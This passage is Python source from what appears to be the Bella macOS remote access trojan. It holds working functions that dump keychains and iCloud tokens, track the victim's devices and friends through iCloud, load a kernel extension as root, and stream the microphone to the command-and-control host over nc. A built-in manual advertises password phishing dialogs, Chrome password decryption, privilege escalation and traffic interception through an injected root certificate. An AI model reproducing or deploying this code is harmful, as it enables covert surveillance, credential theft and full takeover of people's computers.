timeStamp = datetime.datetime.fromtimestamp(timeStamp).strftime("%A, %B %d at %I:%M:%S")
timeStamp = "%s (%sm %ss ago)" % (timeStamp, str(minutes).split(".")[0], str(seconds).split(".")[0]) #split at decimal
except TypeError:
timeStamp = "Could not get last location time."
if not y["location"]: #once satisfied, all is good, return fxn will end
continue #go back to top of loop and re-run query
for z, v in y["location"]["address"].items(): #loop through address info
#counter of threes for pretty print...
if type(v) is list:
continue
if z == "streetAddress":
streetAddress = v
if z == "countryCode":
country = v
if z == "stateCode":
state = v
if z == "locality":
town = v
if streetAddress != " ": #in the event that we cant get a street address, dont print it to the final thing
retString += "%s\n%s\n%s, %s, %s\n%s\n%s\n" % ("\033[34m" + phoneNumber, "\033[92m" + streetAddress, town, state, country, "\033[0m" + timeStamp,"-----")
else:
retString += "%s\n%s, %s, %s\n%s\n%s\n" % ("\033[34m" + phoneNumber, "\033[92m" + town, state, country, "\033[0m" + timeStamp,"-----")
i += 1
localToken = tokenRead()
if tokenRead() != False:
uDsid = tokenRead().split("\n")[0]
return retString + "\033[91mFound \033[93m[%s]\033[91m friends for %s!\033[0m\n" % (i, uDsid)
def iCloud_auth_process(tokenOverride):
#this function will return a username and password combination, or a DSID and token combination, along with a code for which one is being used.
returnString = ""
token = ""
usingToken = False
localToken = tokenRead()
applePresent = applepwRead()
if isinstance(applePresent, str) and tokenOverride == False:
(username, password) = applepwRead().split(":") #just take the first account if there are multiple
usingToken = False
elif localToken != False: #means we have a token file.
try:
(username, password) = localToken.split("\n")[1].split(":")
usingToken = True
except Exception, e:
return (e, False, usingToken)
else: #means we have neither a token file, or apple creds
return ("No token found, no apple credentials found.\n", False, usingToken)
return (username, password, usingToken)
def iCloud_storage_helper(dsid, authToken):
authCode = base64.b64encode("%s:%s" % (dsid, authToken))
tokens = tokenFactory(authCode)
send_msg('Getting iCloud information.\n', False)
try:
req = urllib2.Request("https://p04-quota.icloud.com/quotaservice/external/mac/%s/storageUsageDetails" % dsid) #this will have all tokens
req.add_header('Authorization', 'Basic %s' % authCode)
req.add_header('Content-Type', 'application/json')
resp = urllib2.urlopen(req)
storageData = resp.read()
except Exception as e:
send_msg("Slight error [%s]" % e, False)
resp_dict = json.loads(storageData)
for x in tokens[1]: #tokens[1] is the account information of the user
send_msg("%s\n\n" % x, False)
try:
for x in resp_dict["photo"]:
if x["libraryEnabled"]:
send_msg(underline + "iCloud Photo Library: Enabled" + endANSI + "\n", False)
send_msg("\tPhoto Count: %s\n" % x["photoCount"], False)
send_msg("\tVideo Count: %s\n" % x["videoCount"], False)
send_msg("\tiCloud Photo Library Size: %s.%s GB\n" % (str(x["storageUsedInBytes"])[0], str(x["storageUsedInBytes"])[1:4]), False)
else:
send_msg(underline + "iCloud Photo Library: Disabled" + endANSI + "\n", False)
except:
send_msg("iCloud Photo Library: Disabled\n", False)
i = 0
try:
z = resp_dict["backups"]
if len(z) == 0:
send_msg("\n%sNo iCloud Backups found%s\n\n" % (underline, endANSI), False)
else:
send_msg("%siCloud Backups:%s\n" % (underline, endANSI), False)
for x in resp_dict["backups"]:
i += 1
#make a little dictionary to get the pretty name of the device.
productTypes = {'iPhone3,1': 'iPhone 4 (GSM)', 'iPhone3,2': 'iPhone 4 (CDMA)', 'iPhone4,1': 'iPhone 4s', 'iPhone5,1': 'iPhone 5 (GSM)', 'iPhone5,2': 'iPhone 5 (CDMA)', 'iPhone5,3': 'iPhone 5c', 'iPhone6,2': 'iPhone 5s (UK)', 'iPhone7,1': 'iPhone 6 Plus', 'iPhone8,1': 'iPhone 6s', 'iPhone8,2': 'iPhone 6s Plus', 'iPhone6,1': 'iPhone 5s', 'iPhone7,2': 'iPhone 6'}
try:
iPhone_type = productTypes[x["productType"]]
except:
iPhone_type = x["productType"]
send_msg("\t[%s] %s %s | Size is %s.%s GB | Model: %s\n" % (i, x["name"], x["lastModifiedLocalized"], str(x["storageUsedInBytes"])[0], str(x["storageUsedInBytes"])[1:4], iPhone_type), False)
except Exception, e:
send_msg("Error checking backups.\n%s\n" % str(e), False)
if len(tokens[0]) > 1:
send_msg("%sTokens!%s\n" % (underline, endANSI), False)
send_msg("\tMMeAuth: %s%s%s\n" % (blue, tokens[0][0], endANSI), False)
send_msg("\tCloud Kit: %s%s%s\n" % (red, tokens[0][1], endANSI), False)
send_msg("\tFMF App: %s%s%s\n" % (yellow, tokens[0][2], endANSI), False)
send_msg("\tFMiP: %s%s%s\n" % (green, tokens[0][3], endANSI), False)
send_msg("\tFMF: %s%s%s\n" % (violet, tokens[0][4], endANSI), False)
send_msg('', True)
return
def insomnia_load():
if "book" in get_model().lower():
if is_there_SUID_shell():
gen = payload_generator(readDB('insomnia', True)) #will return b64 zip
payload_tmp_path = '/'.join(gen.split('/')[:-1])
do_root('unzip %s -d %s' % (gen, payload_tmp_path))
(success, msg) = do_root("chown -R 0:0 %s/Insomnia.kext/" % payload_tmp_path)
if not success:
return "%sError changing kext ownership to root.\n%s" % (red_minus, msg)
(success, msg) = do_root("kextload %s/Insomnia.kext/" % payload_tmp_path)
if not success:
return "%sError loading kext.\n%s" % (red_minus, msg)
return "%sInsomnia successfully loaded.\n" % greenPlus
return "%sYou need a root shell to load Insomnia.\n" % red_minus
else:
return "%sInsomnia does not work on non-MacBooks.\n" % blue_star
def insomnia_unload():
if "book" in get_model() or "Book" in get_model():
if is_there_SUID_shell():
(success, msg) = do_root("kextunload -b net.semaja2.kext.insomnia")
if not success:
return "%sError unloading kext.\n%s" % (red_minus, msg)
return "%sInsomnia successfully unloaded.\n" % greenPlus
return "%sYou need a root shell to load Insomnia.\n" % red_minus
else:
return "%sInsomnia does not work on non-MacBooks.\n" % blue_star
def resetUIDandName(): #if we are root we want to update the variable accordingly
global bella_user, helper_location, bella_UID
if os.getuid() == 0:
bella_user = cur_GUI_user()
bella_UID = pwd.getpwnam(bella_user).pw_uid
helper_location = '/'.join(os.path.abspath(__file__).split('/')[:-1]) + '/'
return
def initialize_socket():
basicInfo = ''
resetUIDandName()
os.chdir(os.path.expanduser('~'))
if not check_if_payloads():
print 'requesting payloads'
return 'payload_request_SBJ129' #request our payloads
if readDB('lastLogin') == False: #if it hasnt been set
updateDB('Never', 'lastLogin')
if not isinstance(get_model(), str): #if no model, put it in
output = check_output("sysctl hw.model")
if output[0]:
modelRaw = output[1].split(":")[1].replace("\n", "").replace(" ", "")
output = check_output("/usr/libexec/PlistBuddy -c 'Print :\"%s\"' /System/Library/PrivateFrameworks/ServerInformation.framework/Versions/A/Resources/English.lproj/SIMachineAttributes.plist | grep marketingModel" % modelRaw)
if not output[0]:
model = 'Macintosh'
else:
model = output[1].split("=")[1][1:] #get everything after equal sign, and then remove first space.
updateDB(model, 'model')
if os.getuid() == 0:
basicInfo = 'ROOTED\n'
output = check_output('scutil --get LocalHostName; echo %s; pwd; echo %s' % (get_bella_user(), readDB('lastLogin')))
if output[0]:
basicInfo += output[1]
else:
return check_output("echo 'bareNeccesities'; scutil --get LocalHostName; whoami; pwd")[1]
output = check_output('ps -p %s -o etime=' % bellaPID)
if output[0]:
basicInfo += output[1]
else:
return check_output("echo 'bareNeccesities'; scutil --get LocalHostName; whoami; pwd")[1]
updateDB(time.strftime("%a, %b %e %Y at %I:%M:%S %p"), 'lastLogin')
return basicInfo
def iTunes_backup_looker():
backupPath = globber("/Users/*/Library/Application Support/MobileSync/Backup/*/Info.plist")
if len(backupPath) > 0:
backups = True
returnable = "%sLooking for backups! %s\n" % (blue_star, blue_star)
for z, y in enumerate(backupPath):
returnable += "\n----- Device " + str(z + 1) + " -----\n\n"
returnable += "Product Name: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Product Name\"' '%s'" % y).read().replace("\n", "")
returnable += "Product Version: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Product Version\"' '%s'" % y).read().replace("\n", "")
returnable += "Last Backup Date: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Last Backup Date\"' '%s'" % y).read().replace("\n", "")
returnable += "Device Name: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Device Name\"' '%s'" % y).read().replace("\n", "")
returnable += "Phone Number: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Phone Number\"' '%s'" % y).read().replace("\n", "")
returnable += "Serial Number: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Serial Number\"' '%s'" % y).read().replace("\n", "")
returnable += "IMEI/MEID: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"IMEI\"' '%s'" % y).read().replace("\n", "")
returnable += "UDID: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Target Identifier\"' '%s'" % y).read().replace("\n", "")
returnable += "iTunes Version: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"iTunes Version\"' '%s'" % y).read().replace("\n", "")
#iTunesBackupString += "Installed Apps: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Installed Applications\"' '%s'" % y).read().replace("\n", "")
else:
backups = False
returnable = "%sNo local backups found %s\n" % (blue_star, blue_star)
return (returnable, backups, len(backupPath))
def kill_pid(pid):
try:
os.kill(pid, 9)
return True
except OSError, e:
return False
def keychain_download():
try:
returnVal = []
for x in globber("/Users/*/Library/Keychains/login.keychain*"):
#with open(x, 'rb') as content:
content = protected_file_reader(x) #will return us permission acceptable file info
user = x.split("/")[2]
returnVal.append(pickle.dumps(['%s_login.keychain' % user, content]))
for iCloudKey in globber("/Users/*/Library/Keychains/*/keychain-2.db"):
iCloudZip = StringIO.StringIO()
joiner = '/'.join(iCloudKey.split("/")[:-1])
for files in protected_file_lister(joiner):
with zipfile.ZipFile(iCloudZip, mode='a', compression=zipfile.ZIP_DEFLATED) as zipped:
subFile = os.path.join(joiner, files)
content = protected_file_reader(subFile)
zipped.writestr(files, content)
with zipfile.ZipFile(iCloudZip, mode='a', compression=zipfile.ZIP_DEFLATED) as zipped:
zipped.writestr(joiner.split("/")[-1], 'Keychain UUID')
returnVal.append(pickle.dumps(["%s_iCloudKeychain.zip" % iCloudKey.split("/")[2], iCloudZip.getvalue()]))
if is_there_SUID_shell():
keys = protected_file_reader("/Library/Keychains/System.keychain")
returnVal.append(pickle.dumps(["System.keychain", keys]))
return 'keychain_download' + pickle.dumps(returnVal)
except Exception, e:
return (red_minus + "Error reading keychains.\n%s\n") % str(e)
def manual():
value = "\n%sChat History%s\nDownload the user's macOS iMessage database.\nUsage: %schat_history%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
value += "\n%sCheck Backups%s\nEnumerate the user's local iOS backups.\nUsage: %scheck_backups%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
value += "\n%sChrome Dump%s\nDecrypt user passwords stored in Google Chrome profiles.\nUsage: %schrome_dump%s\nRequirements: Chrome SS Key [see chrome_safe_storage]\n" % (underline + bold + green, endANSI, bold, endANSI)
value += "\n%sChrome Safe Storage%s\nPrompt the keychain to present the user's Chrome Safe Storage Key.\nUsage: %schrome_safe_storage%s\nRequirements: None\n" % (underline + bold + green, endANSI, bold, endANSI)
value += "\n%sCurrent Users%s\nFind all currently logged in users.\nUsage: %scurrentUsers%s\nRequirements: None\n" % (underline + bold + yellow, endANSI, bold, endANSI)
value += "\n%sGet Root%s\nAttempt to escalate Bella to root through a variety of attack vectors.\nUsage: %sget_root%s\nRequirements: None\n" % (underline + bold + red, endANSI, bold, endANSI)
value += "\n%sFind my iPhone%s\nLocate all devices on the user's iCloud account.\nUsage: %siCloud_FMIP%s\nRequirements: iCloud Password [see iCloud_phish]\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
value += "\n%sFind my Friends%s\nLocate all shared devices on the user's iCloud account.\nUsage: %siCloud_FMF%s\nRequirements: iCloud Token or iCloud Password\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
value += "\n%siCloud Contacts%s\nGet contacts from the user's iCloud account.\nUsage: %siCloud_contacts%s\nRequirements: iCloud Token or iCloud Password\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
value += "\n%siCloud Password Phish%s\nTrick user into verifying their iCloud password through iTunes prompt.\nUsage: %siCloudPhish%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
value += "\n%siCloud Query%s\nGet information about the user's iCloud account.\nUsage: %siCloud_query%s\nRequirements: iCloud Token or iCloud Password\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
value += "\n%siCloud Token%s\nPrompt the keychain to present the User's iCloud Authorization Token.\nUsage: %siCloud_token%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
value += "\n%sInsomnia Load%s\nLoads an InsomniaX Kext to prevent laptop from sleeping, even when closed.\nUsage: %sinsomnia_load%s\nRequirements: root, laptops only\n" % (underline + bold + yellow, endANSI, bold, endANSI)
value += "\n%sInsomnia Unload%s\nUnloads an InsomniaX Kext loaded through insomnia_load.\nUsage: %sinsomnia_unload%s\nRequirements: root, laptops only\n" % (underline + bold + yellow, endANSI, bold, endANSI)
value += "\n%sBella Info%s\nExtensively details information about the user and information from the Bella instance.\nUsage: %sbella_info%s\nRequirements: None\n" % (underline + bold + yellow, endANSI, bold, endANSI)
value += "\n%sKeychain Download%s\nDownloads all available Keychains, including iCloud, for offline processing.\nUsage: %skeychain_download%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
value += "\n%sMike Stream%s\nStreams the microphone input over a socket.\nUsage: %smike_stream%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
value += "\n%sMITM Start%s\nInjects a Root CA into the System Roots Keychain and redirects all traffic to the CC.\nUsage: %smitm_start%s\nRequirements: root.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
value += "\n%sMITM Kill%s\nEnds a MITM session started by MITM start.\nUsage: %smitm_kill%s\nRequirements: root.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
value += "\n%sReboot Server%s\nRestarts a Bella instance.\nUsage: %sreboot_server%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
value += "\n%sSafari History%s\nDownloads user's Safari history in a nice format.\nUsage: %ssafari_history%s\nRequirements: None.\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
value += "\n%sScreenshot%s\nTake a screen shot of the current active desktop.\nUsage: %sscreen_shot%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
value += "\n%sShutdown Server%s\nUnloads Bella from launchctl until next reboot.\nUsage: %sshutdown_server%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
value += "\n%sSystem Information%s\nReturns basic information about the system.\nUsage: %ssysinfo%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
value += "\n%sUser Pass Phish%s\nWill phish the user for their password with a clever dialog.\nUsage: %suser_pass_phish%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
#value += "\n%sInteractive Shell%s\nLoads an interactive reverse shell (bash) to the remote machine.\nUsage: %sinteractiveShell%s\n" % (underline + bold, endANSI, bold, endANSI)
#value += "\n%sKey Start%s\nBegin keylogging in the background.\nUsage: %skeyStart%s (requires root)\n" % (underline + bold, endANSI, bold, endANSI)
#value += "\n%sKey Kill%s\nStop keylogging started through Key Start\nUsage: %skeyStart%s (requires root)\n" % (underline + bold, endANSI, bold, endANSI)
#value += "\n%sKey Read%s\nReads the encrypted key log file from Key Start.\nUsage: %skeyRead%s (requires root)\n" % (underline + bold, endANSI, bold, endANSI)
return value
def mike_helper(payload_path):
stream_port = 2897
send_msg('%sOpening microphone.\n' % blue_star, False)
pipe = subprocess.Popen('%s' % payload_path, stdout=subprocess.PIPE)
subprocess_manager(pipe.pid, '/'.join(payload_path.split('/')[:-1]), 'Microphone') #keep track of mikepipe since it never closes, as well as payload path
send_msg('%sOpened microphone [%s].\n' % (blue_star, pipe.pid), False)
send_msg('%sOpening Stream.\n' % blue_star, False)
stream = subprocess.Popen(('nc %s %s' % (host, stream_port)).split(), stdin=pipe.stdout, stdout=subprocess.PIPE)
time.sleep(2) #give a few seconds to terminate if not running ...
#stream.poll will be the exit code if it has exited, otherwise it will be None (so, None if we are connected)
if stream.poll(): #if None, we are connected, see Else. If an integer, we have crashed.